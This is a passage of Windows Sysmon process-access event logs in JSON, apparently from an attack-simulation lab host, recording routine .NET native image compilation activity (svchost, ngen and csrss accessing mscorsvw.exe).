12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001054890C00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001054890C00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00108F8D0C00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00108F8D0C00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00108F8D0C00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00108F8D0C00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00108F8D0C00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00108F8D0C00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001096B10A00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001096B10A00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001096B10A00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001096B10A00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00106F910C00}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00106F910C00}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.900\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00102E950C00}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 